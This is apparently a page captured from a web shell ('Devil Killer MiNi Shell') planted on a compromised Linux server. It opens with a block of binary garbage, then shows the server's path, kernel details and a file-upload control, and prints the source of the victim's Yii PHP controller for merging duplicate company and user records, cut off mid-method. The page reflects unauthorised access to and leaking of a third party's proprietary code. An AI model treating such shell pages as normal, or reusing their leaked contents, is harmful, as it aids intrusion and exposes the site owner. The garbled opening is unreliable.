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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/CompaniesmergingController.php

<?php

namespace backend\controllers;

use Yii;
use yii\web\Controller;
use yii\web\Response;
use yii\filters\AccessControl;
use common\models\Emails;
use common\models\types\ContactDataType;
use yii\caching\TagDependency;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;

class CompaniesmergingController extends Controller
{
    use \common\components\traits\DirectoriesFunctions;
    
    public $idMainCompany;
    public $idMainUser;
    public $idsCompanies;
    public $idsUsers;
    
    protected $cacheTags = [];
    protected $idsForRefreshSearchIndexes = [];
    
    /**
     * @inheritdoc
     */
    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    ['allow' => true, 'actions' => ['merge', 'selection'], 'roles' => ['mergingCompanies']],
                ]
            ]
        ];
    }

    public function actionSelection($id)
    {
        $modelCompany = \common\models\Companies::findOne($id);
        if($modelCompany === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $searchModel = new \backend\models\CompaniesSearch();
        $params = Yii::$app->request->queryParams;
        $dataProvider = $searchModel->search($params);

        return $this->render('selection', [
            'modelCompany' => $modelCompany,
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionMerge($id)
    {
        $debugMode = true;
        
        $mainCompany = \common\models\Companies::find()->select(['id_company', 'id_user'])->where(['id_company' => $id])->asArray()->one();
        if(empty($mainCompany)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        if(!Yii::$app->request->getIsPost()) {   
            return $this->redirect(['selection', 'id' => $mainCompany['id_company']]);
        }
        
        $this->idMainCompany = $mainCompany['id_company'];
        $this->idMainUser = $mainCompany['id_user'];
        $this->idsCompanies = array_map('intval', Yii::$app->request->post('duplicates_companies', []));
        
        if(empty($this->idsCompanies)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['selection', 'id' => $mainCompany['id_company']]);
        }
        
        $this->idsUsers = \common\models\Companies::find()->select(['id_user'])->where(['id_company' => $this->idsCompanies])->column();
        
        if(($key = array_search($this->idMainCompany, $this->idsCompanies)) !== false) {
            unset($this->idsCompanies[$key]);
        }
        if(($key = array_search($this->idMainUser, $this->idsUsers)) !== false) {
            unset($this->idsUsers[$key]);
        }
        if(empty($this->idsCompanies) || empty($this->idsUsers)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['selection', 'id' => $mainCompany['id_company']]);
        }
        var_dump('tymczasowo zablokowane');
        exit;
        $flag = true;
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = $flag && $this->mergeAdvertisements();
        $flag = $flag && $this->mergeAdvertisementsMessages();
        $flag = $flag && $this->mergeArticles();
        $flag = $flag && $this->mergeBanners();
        $flag = $flag && $this->mergeBooks();        
        $flag = $flag && $this->merge('BooksSubscriptions', true, false);        
        $flag = $flag && $this->merge('BookstoreDiscountCodes', true, false);
        $flag = $flag && $this->merge('BookstoreOrders', true, true);
        $flag = $flag && $this->mergeCompaniesAwards();
        $flag = $flag && $this->merge('CompaniesBranches', true, false);
        $flag = $flag && $this->merge('CompaniesCases', true, false);
        $flag = $flag && $this->merge('CompaniesChanges', true, false);
        $flag = $flag && $this->mergeContactData('company');
        $flag = $flag && $this->merge('CompaniesCorrespondenceData', true, false);
        $flag = $flag && $this->merge('CompaniesDepartments', true, false);
        $flag = $flag && $this->merge('CompaniesDownloads', true, false);
        $flag = $flag && $this->merge('CompaniesEmployees', true, false);
        $flag = $flag && $this->mergeCompaniesHasBusinessSectors(); 
        $flag = $flag && $this->mergeCompaniesHasInquiries(); 
        $flag = $flag && $this->mergeCompaniesHasLanguages(); 
        $flag = $flag && $this->mergeCompaniesInvoicingData(); 
        $flag = $flag && $this->merge('CompaniesOrders', true, false);
        $flag = $flag && $this->merge('CompaniesPhotogalleries', true, false);
        $flag = $flag && $this->mergeCompaniesPresentationsWithPages(); 
        $flag = $flag && $this->merge('CompaniesVideogalleries', true, false);
        $flag = $flag && $this->mergeOperatorsHasCompanies();
        $flag = $flag && $this->mergeAdvertisementsPackages('company');
        $flag = $flag && $this->mergeFairsSeries();
        $flag = $flag && $this->merge('Inquiries', true, true);
        $flag = $flag && $this->merge('Invoices', true, false);
        $flag = $flag && $this->merge('JobOffers', true, false);
        $flag = $flag && $this->merge('Mailings', true, false);
        $flag = $flag && $this->merge('MailingsReservations', true, false);
        $flag = $flag && $this->mergeProducts();
        $flag = $flag && $this->merge('Trainings', true, false);
        $flag = $flag && $this->mergeContactData('user');
        $flag = $flag && $this->mergeUsersAddresses();
        $flag = $flag && $this->mergeUsersHasPortals();
        $flag = $flag && $this->merge('UsersPayments', false, true);
        $flag = $flag && $this->mergeAdvertisementsPackages('user');
        
        var_dump($flag); exit;
        
        if($flag) {
            if(!$debugMode) {
                $transaction->commit();
            } else {
                $transaction->rollBack();
            }
            
            foreach(['advertisements', 'products', 'presentations', 'fairs', 'trainings', 'articles', 'books'] as $searchIndexName) {
                if(!empty($this->idsForRefreshSearchIndexes[$searchIndexName])) {
                    call_user_func('\frontend\models\Index'.ucfirst($searchIndexName).'::refreshRecords', $this->idsForRefreshSearchIndexes[$searchIndexName]);
                }
            }
            
            //@todo rozważyć, czy nie powinniśmy jeszcze jakiś tagów cache odświeżać
            foreach($this->idsCompanies as $idCompany) {
                $this->cacheTags[] = 'company_'.$idCompany;
            }            
            TagDependency::invalidate(Yii::$app->frontendCache, $this->cacheTags);
        }
        
        if($flag && !$debugMode) {
            $flag = $flag && $this->mergeCollectionImportCompanies();
            $flag = $flag && $this->mergeCollectionCompaniesOrdersArchive();
            $flag = $flag && $this->mergeCollectionImportVcallcenterCompanies();
            $flag = $flag && $this->mergeCollectionInquiriesShipping();
            $flag = $flag && $this->mergeCollectionNotifications();
            $flag = $flag && $this->mergeCollectionCompaniesContactDataViews();
        }
        
        if($flag && !$debugMode) {
            $this->copyFiles();
        }
        
        //ta metoda musi zostać wykonana po skopiowaniu plików - w przeciwnym razie nie poprawi właściwie ścieżek wewnątrz plików z treściami mailingów
        $flag = $flag && $this->mergeMailingsContents();
        
        if($flag) {
            Emails::refreshForUser($this->idMainUser);
            Emails::refreshForCompany($this->idMainCompany);
        }
        
        if($flag && !$debugMode) {
            $modelsUsers = \common\models\Users::find()->where(['id_user' => $this->idsUsers])->all();
            foreach($modelsUsers as $modelUser) {
                $modelUser->delete();
            }
        }
        
        
    }
    
    protected function mergeAdvertisements()
    {
        $idsAdvertisements = \common\models\Advertisements::find()
                ->select(['id_advertisement'])
                ->where(['or', ['id_user' => $this->idsUsers], ['id_company' => $this->idsCompanies]])
                ->column();
        if(!empty($idsAdvertisements)) {
            foreach($this->idsUsers as $idUser) {
                try {
                    \common\models\Advertisements::updateAll(['id_user' => $this->idMainUser], 'id_user = '.$idUser);
                } catch (\Exception $ex) {
                    return false;
                }
                
            }
            foreach($this->idsCompanies as $idCompany) {
                try {
                    \common\models\Advertisements::updateAll(['id_company' => $this->idMainCompany], 'id_company = '.$idCompany);
                } catch (\Exception $ex) {
                    return false;
                }
            }
            
            $this->idsForRefreshSearchIndexes['advertisements'] = $idsAdvertisements;
            $this->cacheTags[] = ['mainpage_box_advertisements'];
            foreach($idsAdvertisements as $idAdvertisement) {
                $this->cacheTags[] = 'advertisement_'.$idAdvertisement;
            }
        }
        
        return true;
    }
    
    protected function mergeAdvertisementsMessages()
    {        
        foreach($this->idsUsers as $idUser) {
            try {
                \common\models\AdvertisementsMessages::updateAll(['id_user' => $this->idMainUser], 'id_user = '.$idUser);
            } catch (\Exception $ex) {
                return false;
            }
        }
        
        foreach($this->idsCompanies as $idCompany) {
            try {
                \common\models\AdvertisementsMessages::updateAll(['id_company' => $this->idMainCompany], 'id_company = '.$idCompany);
            } catch (\Exception $ex) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function mergeArticles()
    {
        $idsArticles = \common\models\Articles::find()
                ->select(['id_article'])
                ->where(['id_company' => $this->idsCompanies])
                ->column();
        if(!empty($idsArticles)) {
            foreach($this->idsCompanies as $idCompany) {
                try {
                    \common\models\Articles::updateAll(['id_company' => $this->idMainCompany], 'id_company = '.$idCompany);
                } catch (\Exception $ex) {
                    return false;
                }
            }
            
            $this->idsForRefreshSearchIndexes['articles'] = $idsArticles;
            
            $this->cacheTags[] = ['mainpage_box_articles'];
            foreach($idsArticles as $idArticle) {
                $this->cacheTags[] = 'article_'.$idArticle;
            }
        }
        
        return true;
    }
    
    protected function mergeBanners()
    {
        foreach($this->idsCompanies as $idCompany) {
            try {
                \common\models\Banners::updateAll(['id_company' => $this->idMainCompany], 'id_company = '.$idCompany);
            } catch (\Exception $ex) {
                return false;
            }
        }

        $this->cacheTags[] = ['banners'];
        
        return true;
    }
    
    protected function mergeBooks()
    {
        $idsBooks = \common\models\Books::find()
                ->select(['id_book'])
                ->where(['id_company' => $this->idsCompanies])
                ->column();
        if(!empty($idsBooks)) {
            foreach($this->idsCompanies as $idCompany) {
                try {
                    \common\models\Books::updateAll(['id_company' => $this->idMainCompany], 'id_company = '.$idCompany);
                } catch (\Exception $ex) {
                    return false;
                }
            }
            
            $this->idsForRefreshSearchIndexes['books'] = $idsBooks;
            
            $this->cacheTags[] = ['mainpage_box_bookstore'];
            foreach($idsBooks as $idBook) {
                $this->cacheTags[] = 'book_'.$idBook;
            }
        }
        
        return true;
    }
    
    protected function mergeCompaniesAwards()
    {
        $models = \common\models\CompaniesAwards::find()
                ->where(['id_company' => $this->idsCompanies])
                ->all();
        
        if(empty($models)) {
            return true;
        }
        
        foreach($models as $model) {
            $oldIdCompany = $model->id_company;
            $model->id_company = $this->idMainCompany;
            $model->content = $this->fixUrlsInContents($model->content, $oldIdCompany, $this->idMainCompany);
            if(!$model->save(false)) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function mergeCompaniesHasBusinessSectors()
    {        
        $newBusinessSectors = \common\models\CompaniesHasBusinessSectors::find()->select(['id_sector'])->where(['id_company' => $this->idsCompanies])->distinct()->column();
        
        if(empty($newBusinessSectors)) {
            return true;
        }
        
        $existsBusinessSectors = \common\models\CompaniesHasBusinessSectors::find()->select(['id_sector'])->where(['id_company' => $this->idMainCompany])->column();

        foreach($newBusinessSectors as $newBusinessSector) {
            if(!empty($existsBusinessSectors) && in_array($newBusinessSector, $existsBusinessSectors)) {
                continue;
            }

            $modelCompanyHasBusinessSector = new \common\models\CompaniesHasBusinessSectors(['scenario' => 'create']);
            $modelCompanyHasBusinessSector->id_company = $this->idMainCompany;
            $modelCompanyHasBusinessSector->id_sector = $newBusinessSector;
            if(!$modelCompanyHasBusinessSector->save(false)) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function mergeCompaniesHasInquiries()
    {        
        $newReceivedInquiries = \common\models\CompaniesHasInquiries::find()->select(['id_inquiry', 'email'])->where(['id_company' => $this->idsCompanies])->distinct()->asArray()->all();
        
        if(empty($newReceivedInquiries)) {
            return true;
        }
        
        $newIdsInquiries = [];
        foreach($newReceivedInquiries as $newReceivedInquiry) {
            $newIdsInquiries[$newReceivedInquiry['id_inquiry']] = $newReceivedInquiry['id_inquiry'];
        }
        
        $existsReceivedInquiries = [];
        $companiesHasInquiries = \common\models\CompaniesHasInquiries::find()->where(['id_company' => $this->idMainCompany, 'id_inquiry' => $newIdsInquiries])->asArray()->all();        
        if(!empty($companiesHasInquiries)) {
            foreach($companiesHasInquiries as $companyHasInquiry) {
                $existsReceivedInquiries[$companyHasInquiry['id_inquiry'].'###'.$companyHasInquiry['email']] = true;
            }
            unset($companiesHasInquiries);
        }

        foreach($newReceivedInquiries as $newReceivedInquiry) {
            $hashKey = $newReceivedInquiry['id_inquiry'].'###'.$newReceivedInquiry['email'];
            if(!empty($existsReceivedInquiries) && !isset($existsReceivedInquiries[$hashKey])) {
                continue;
            }

            $modelCompanyHasInquiry = new \common\models\CompaniesHasInquiries(['scenario' => 'create']);
            $modelCompanyHasInquiry->id_company = $this->idMainCompany;
            $modelCompanyHasInquiry->id_inquiry = $newReceivedInquiry['id_inquiry'];
            $modelCompanyHasInquiry->email = $newReceivedInquiry['email'];
            if(!$modelCompanyHasInquiry->save(false)) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function mergeCompaniesHasLanguages()
    {        
        $newLanguages = \common\models\CompaniesHasLanguages::find()->select(['id_language'])->where(['id_company' => $this->idsCompanies])->distinct()->column();
        
        if(empty($newLanguages)) {
            return true;
        }
        
        $existsLanguages = \common\models\CompaniesHasLanguages::find()->select(['id_language'])->where(['id_company' => $this->idMainCompany])->column(); 

        foreach($newLanguages as $newLanguage) {
            if(!empty($existsLanguages) && in_array($newLanguage, $existsLanguages)) {
                continue;
            }

            $modelCompanyHasLanguage = new \common\models\CompaniesHasLanguages(['scenario' => 'create']);
            $modelCompanyHasLanguage->id_company = $this->idMainCompany;
            $modelCompanyHasLanguage->id_language = $newLanguage;
            if(!$modelCompanyHasLanguage->save(false)) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function mergeCompaniesInvoicingData()
    {        
        $newIdInvoicingData = \common\models\CompaniesInvoicingData::find()->select(['id_invoicing_data'])->where(['id_company' => $this->idsCompanies])->orderBy('id_invoicing_data')->limit(1)->scalar();
        
        if(empty($newIdInvoicingData)) {
            return true;
        }
        
        $orExistInvoicingData = \common\models\CompaniesInvoicingData::find()->where(['id_company' => $this->idMainCompany])->exists(); 
        if($orExistInvoicingData) {
            return true;
        }
        
        try {
            \common\models\CompaniesInvoicingData::updateAll(['id_company' => $this->idMainCompany], 'id_invoicing_data = '.$newIdInvoicingData);
        } catch (\Exception $ex) {
            return false;
        }
        
        return true;
    }
    
    protected function mergeCompaniesPresentationsWithPages()
    {
        $existsPortals = \common\models\CompaniesPresentations::find()
                ->select(['id_portal'])
                ->where(['id_company' => $this->idMainCompany])
                ->column();
        
        $presentations = \common\models\CompaniesPresentations::find()
                ->select(['id_presentation', 'id_portal'])
                ->where(['id_company' => $this->idsCompanies])
                ->indexBy('id_presentation')
                ->asArray()
                ->all();
        if(!empty($presentations)) {
            foreach($presentations as $idPresentation => $presentation) {
                if(in_array($presentation['id_portal'], $existsPortals)) {
                    continue;
                }
                
                $models = \common\models\CompaniesPresentationsPages::find()
                    ->join('INNER JOIN', 'companies_presentations_tabs', 'companies_presentations_tabs.id_company_tab = companies_presentations_pages.id_company_tab')
                    ->where(['companies_presentations_tabs.id_presentation' => $idPresentation])
                    ->all();
        
                if(!empty($models)) {
                    foreach($models as $model) {
                        $model->lead = $this->fixUrlsInContents($model->lead, $oldIdCompany, $this->idMainCompany);
                        $model->content = $this->fixUrlsInContents($model->content, $oldIdCompany, $this->idMainCompany);
                        if(!$model->save(false)) {
                            return false;
                        }
                    }
                }
                
                try {
                    \common\models\CompaniesPresentations::updateAll(['id_company' => $this->idMainCompany], 'id_presentation = '.$idPresentation);
                } catch (\Exception $ex) {
                    return false;
                }
                
                $this->cacheTags[] = 'presentation_'.$idPresentation;
                
                $this->idsForRefreshSearchIndexes['presentations'][] = $idPresentation;
            }
            
            $this->cacheTags[] = ['mainpage_box_top_companies'];
        }
        
        return true;
    }
    
    protected function mergeOperatorsHasCompanies()
    {        
        $newModelsRelations = \common\models\OperatorsHasCompanies::find()->where(['id_company' => $this->idsCompanies])->all();
        
        if(empty($newModelsRelations)) {
            return true;
        }
        
        $existsModelsRelations = \common\models\OperatorsHasCompanies::find()->where(['id_company' => $this->idMainCompany])->indexBy('id_user')->all();

        $newRelations = [];
        foreach($newModelsRelations as $newModelRelation) {
            if(!isset($newRelations[$newModelRelation->id_user])) {
                $newModelsRelations[$newModelRelation->id_user] = [];
            } 
            
            if(!empty($newModelRelation->assigned_portals)) {
                foreach($newModelRelation->assigned_portals as $portal) {
                    $newModelsRelations[$newModelRelation->id_user][intval($portal['id_portal'])] = $portal['created_at'];
                }
            }
        }
        
        foreach($newRelations as $idOperator => $portalsInfo) {
            if(!isset($existsModelsRelations[$idOperator])) {
                $assignedPotals = [];
                if(!empty($portalsInfo)) {
                    foreach($portalsInfo as $idPortal => $createdAt) {
                        $assignedPortals[] = [
                            'id_portal' => $idPortal,
                            'created_at' => $createdAt
                        ];
                    }
                }
                
                $modelOperatorHasCompany = new \common\models\OperatorsHasCompanies(['scenario' => 'create']);
                $modelOperatorHasCompany->id_user = $idOperator;
                $modelOperatorHasCompany->id_company = $this->idMainCompany;
                $modelOperatorHasCompany->assigned_portals = $assignedPotals;
                if(!$modelOperatorHasCompany->save(false)) {
                    return false;
                }
            } else {
                if(empty($portalsInfo)) {
                    continue;
                }
                
                $assignedPotals = $modelOperatorHasCompany->assigned_portals;                
                foreach($portalsInfo as $idPortal => $createdAt) {
                    $orExist = false;
                    if(!empty($assignedPortals)) {
                        foreach($assignedPortals as $assignedPortal) {
                            if(intval($assignedPortal['id_portal']) === $idPortal) {
                                $orExist = true;
                                break;
                            }
                        }
                    }
                    if(!$orExist) {
                        $assignedPortals[] = [
                            'id_portal' => $idPortal,
                            'created_at' => $createdAt
                        ];
                    }
                }
                
                $modelOperatorHasCompany = $existsModelsRelations[$idOperator];
                $modelOperatorHasCompany->assigned_portals = $assignedPotals;
                if(!$modelOperatorHasCompany->save(false)) {
                    return false;
                }
            }
        }
        
        return true;
    }
    
    protected function mergeFairsSeries()
    {
        $idsFairsSeries = \common\models\FairsSeries::find()
                ->select(['id_series'])
                ->where(['id_company' => $this->idsCompanies])
                ->column();
        if(!empty($idsFairsSeries)) {
            foreach($this->idsCompanies as $idCompany) {
                try {
                    \common\models\FairsSeries::updateAll(['id_company' => $this->idMainCompany], 'id_company = '.$idCompany);
                } catch (\Exception $ex) {
                    return false;
                }
            }
            
            $idsFairs = \common\models\Fairs::find()
                ->select(['id_fair'])
                ->where(['id_series' => $idsFairsSeries])
                ->column();
            
            if(!empty($idsFairs)) {
                $this->idsForRefreshSearchIndexes['fairs'] = $idsFairs;                
                $this->cacheTags[] = ['mainpage_box_fairs', 'extended_menu_fairs'];
            }            
        }
        
        return true;
    }
    
    protected function mergeMailingsContents()
    { 
        $modelsMailingsContents = \common\models\MailingsContents::find()->where(['id_company' => $this->idsCompanies])->all();
        
        if(empty($modelsMailingsContents)) {
            return true;
        }
        
        foreach($modelsMailingsContents as $modelMailingContent) {
            //generowanie pliku .php/.html odbywa się w zdarzeniu \common\models\MailingsContents::afterSave()
            $modelMailingContent->id_company = $this->idMainCompany;
            if(!$modelMailingContent->save(false)) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function mergeProducts()
    {
        $models = \common\models\Products::find()
                ->where(['id_company' => $this->idsCompanies])
                ->all();
        
        if(empty($models)) {
            return true;
        }
        
        foreach($models as $model) {
            $oldIdCompany = $model->id_company;
            $model->id_company = $this->idMainCompany;
            $model->description = $this->fixUrlsInContents($model->description, $oldIdCompany, $this->idMainCompany);
            if(!$model->save(false)) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function mergeUsersAddresses()
    {      
        $orExistAddress = \common\models\UsersAddresses::find()->where(['id_user' => $this->idMainUser])->exists(); 
        if($orExistAddress) {
            return true;
        }
        
        $newIdAddress = \common\models\UsersAddresses::find()->select(['id_address'])->where(['id_user' => $this->idsUsers])->orderBy('or_main DESC, id_address ASC')->limit(1)->scalar();        
        if(empty($newIdAddress)) {
            return true;
        }
        
        try {
            \common\models\CompaniesInvoicingData::updateAll(['id_user' => $this->idMainUser], 'id_address = '.$newIdAddress);
        } catch (\Exception $ex) {
            return false;
        }
        
        return true;
    }
    
    protected function mergeUsersHasPortals()
    {      
        $newUsersHasPortals = \common\models\UsersHasPortals::find()->select(['id_portal', 'status'])->where(['id_user' => $this->idsUsers])->asArray()->all();        
        if(empty($newUsersHasPortals)) {
            return true;
        }
        
        $newPortals = [];
        foreach($newUsersHasPortals as $newUserHasPortal) {
            $idPortal = intval($newUserHasPortal['id_portal']);
            $status = $newUserHasPortal['status'];
            if(!isset($newPortals[$idPortal]) || ($newPortals[$idPortal] === \common\models\types\Status::ACTIVE && $status === \common\models\types\Status::INACTIVE)) {
                $newPortals[$idPortal] = $status;
            }
        }
        unset($newUsersHasPortals);
        
        $existsModelsUsersHasPortals = \common\models\UsersHasPortals::find()->where(['id_user' => $this->idMainUser])->indexBy('id_portal')->all();
        
        foreach($newPortals as $idPortal => $status) {
            if(isset($existsModelsUsersHasPortals[$idPortal])) {
                $model = $existsModelsUsersHasPortals[$idPortal];
                if($model->status === \common\models\types\Status::ACTIVE && $status === \common\models\types\Status::INACTIVE) {
                    $model->setScenario('update');
                    $model->status === $status;
                    if(!$model->save(false)) {
                        return false;
                    }
                }
            } else {
                $model = new \common\models\UsersHasPortals(['scenario' => 'create']);
                $model->id_user = $this->idMainUser;
                $model->id_portal = $idPortal;
                $model->status = $status;
                if(!$model->save(false)) {
                    return false;
                }
            }
        }
        
        return true;
    }
    
    protected function mergeCollectionImportCompanies()
    {
        $documents = (new \yii\mongodb\Query())->from('import_companies')->where(['target_id' => array_map('strval', $this->idsCompanies)])->limit(50)->all();
        if(empty($documents)) {
            return true;
        }
        
        foreach($documents as $document) {
            try {
                Yii::$app->mongodb->getCollection('import_companies')->update(['_id' => (string)$document['_id']], ['target_id' => strval($this->idMainCompany)]);
            } catch (\Exception $ex) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function mergeCollectionCompaniesOrdersArchive()
    {
        $documents = (new \yii\mongodb\Query())->from('companies_orders_archive')->where(['id_company' => $this->idsCompanies])->limit(1000)->all();
        if(empty($documents)) {
            return true;
        }
        
        foreach($documents as $document) {
            try {
                Yii::$app->mongodb->getCollection('companies_orders_archive')->update(['_id' => (string)$document['_id']], ['id_company' => $this->idMainCompany]);
            } catch (\Exception $ex) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function mergeCollectionImportVcallcenterCompanies()
    {
        $documents = (new \yii\mongodb\Query())->from('import_vcallcenter_companies')->where(['target_id' => array_map('strval', $this->idsCompanies)])->limit(50)->all();
        if(empty($documents)) {
            return true;
        }
        
        foreach($documents as $document) {
            try {
                Yii::$app->mongodb->getCollection('import_vcallcenter_companies')->update(['_id' => (string)$document['_id']], ['target_id' => strval($this->idMainCompany)]);
            } catch (\Exception $ex) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function mergeCollectionInquiriesShipping()
    {
        $documents = (new \yii\mongodb\Query())->from('inquiries_shipping')->where(['id_company' => $this->idsCompanies])->limit(1000)->all();
        if(empty($documents)) {
            return true;
        }
        
        foreach($documents as $document) {
            try {
                Yii::$app->mongodb->getCollection('inquiries_shipping')->update(['_id' => (string)$document['_id']], ['id_company' => $this->idMainCompany, 'id_user' => $this->idMainUser]);
            } catch (\Exception $ex) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function mergeCollectionNotifications()
    {
        $documents = (new \yii\mongodb\Query())->from('notifications')->where(['id_user' => $this->idsUsers])->limit(2000)->all();
        if(empty($documents)) {
            return true;
        }
        
        foreach($documents as $document) {
            try {
                Yii::$app->mongodb->getCollection('notifications')->update(['_id' => (string)$document['_id']], ['id_user' => $this->idMainUser]);
            } catch (\Exception $ex) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function mergeCollectionCompaniesContactDataViews()
    {
        $documents = (new \yii\mongodb\Query())->from('companies_contact_data_views')->where(['id_company' => $this->idsCompanies])->limit(1000)->all();
        if(empty($documents)) {
            return true;
        }
        
        foreach($documents as $document) {
            try {
                Yii::$app->mongodb->getCollection('companies_contact_data_views')->update(['_id' => (string)$document['_id']], ['id_company' => $this->idMainCompany]);
            } catch (\Exception $ex) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function merge($classForModel, $forCompanies = true, $forUsers = false)
    {
        if($forCompanies === true) {
            foreach($this->idsCompanies as $idCompany) {
                try {
                    call_user_func("\common\models\\$classForModel::updateAll", ['id_company' => $this->idMainCompany], 'id_company = '.$idCompany);
                } catch (\Exception $ex) {
                    return false;
                }
            }
        }
        
        if($forUsers === true) {
            foreach($this->idsUsers as $idUser) {
                try {
                    call_user_func("\common\models\\$classForModel::updateAll", ['id_user' => $this->idMainUser], 'id_user = '.$idUser);
                } catch (\Exception $ex) {
                    return false;
                }
            }
        }
        
        return true;
    }
    
    protected function mergeContactData($type)
    {
        if($type === 'user') {
            $classForModel = 'UsersContactData';
            $baseQuery = \common\models\UsersContactData::find();
            $nameOfIdField = 'id_user';
            $idMain = $this->idMainUser;
            $ids = $this->idsUsers;
        } elseif($type === 'company') {
            $classForModel = 'CompaniesContactData';
            $baseQuery = \common\models\CompaniesContactData::find();
            $nameOfIdField = 'id_company';
            $idMain = $this->idMainCompany;
            $ids = $this->idsCompanies;
        } else {
            return false;
        }
        
        $newContactData = (clone $baseQuery)->select(['id_contact_data', 'data_type', 'data_value', 'required'])
                ->where([$nameOfIdField => $ids])
                ->orderBy($nameOfIdField.' ASC, data_order ASC')
                ->asArray()
                ->all();
        if(empty($newContactData)) {
            return true;
        }
        
        $existsContactData = [];
        $orExistRequiredEmail = false;
        $orExistRequiredPhone = false;
        
        $contactData = (clone $baseQuery)->select(['id_contact_data', 'data_type', 'data_value', 'required'])
                ->where([$nameOfIdField => $idMain])
                ->asArray()
                ->all();
        if(!empty($contactData)) {
            foreach($contactData as $item) {
                $existsContactData[$item['data_type'].'###'.$item['data_value']] = $item;
                if($item['required'] === 1) {
                    if($item['data_value'] === ContactDataType::EMAIL) {
                        $orRequiredEmail = true;
                    } else {
                        $orRequiredPhone = true;
                    }
                }
            }
        }
        
        $lastDataOrder = intval((clone $baseQuery)->where([$nameOfIdField => $idMain])->max('data_order'));
        
        foreach($newContactData as $item) {
            $hash = $item['data_type'].'###'.$item['data_value'];
            if(isset($existsContactData[$hash])) {
                continue;
            }
            $existsContactData[$hash] = $item;
         
            $lastDataOrder++;
            
            $updateData = [
                $nameOfIdField => $idMain, 
                'data_order' => $lastDataOrder
            ];
            
            if(!$orExistRequiredEmail && $item['data_type'] === ContactDataType::EMAIL) {
                $updateData['required'] = 1;
                $orExistRequiredEmail = true;
            } elseif(!$orExistRequiredPhone && ($item['data_type'] === ContactDataType::MOBILE_PHONE || $item['data_type'] === ContactDataType::PHONE)) {
                $updateData['required'] = 1;
                $orExistRequiredPhone = true;
            }
            
            try {
                call_user_func("\common\models\\$classForModel::updateAll", $updateData, 'id_contact_data = '.$item['id_contact_data']);            
            } catch (\Exception $ex) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function mergeAdvertisementsPackages($type)
    {
        if($type === 'user') {
            $models = \common\models\Users::find()->where(['id_user' => $this->idsUsers])->all();
            $modelMain = \common\models\Users::find()->where(['id_user' => $this->idMainUser])->one();
        } elseif($type === 'company') {
            $models = \common\models\Companies::find()->where(['id_company' => $this->idsCompanies])->all();
            $modelMain = \common\models\Companies::find()->where(['id_company' => $this->idMainCompany])->one();
        } else {
            return false;
        }
        
        $numberOfTickets = intval($modelMain->getSettingsKey('advertisements_tickets'));
        
        $orExistAdditionalSlots = false;
        foreach($models as $model) {
            if(!empty($model->settings['advertisements_tickets'])) {
                $orExistAdditionalSlots = true;
                $modelMain->setSettingsKey('advertisements_tickets', ($numberOfTickets + intval($model->settings['advertisements_tickets'])));
            }
        }
        
        if($orExistAdditionalSlots) {
            if(!$modelMain->saveSettings()) {
                return false;
            }
        }
        
        return true;
    }
    
    protected function fixUrlsInContents($text, $oldId, $newId)
    {
        return str_replace('/uploads/source/companies/'.$oldId.'/', '/uploads/source/companies/'.$newId.'/', $text);
    }
    
    protected function copyFiles()
    {
        foreach($this->idsCompanies as $idCompany) {
            $sourcesPath = Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/';
            if(file_exists($sourcesPath.$idCompany.'/')) {
                $this->copyDir(
                    $sourcesPath.$idCompany.'/', 
                    $sourcesPath.$this->idMainCompany.'/'
                );
            }
            
            $sourcesThumbsPath = Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/';
            if(file_exists($sourcesThumbsPath.$idCompany.'/')) {     
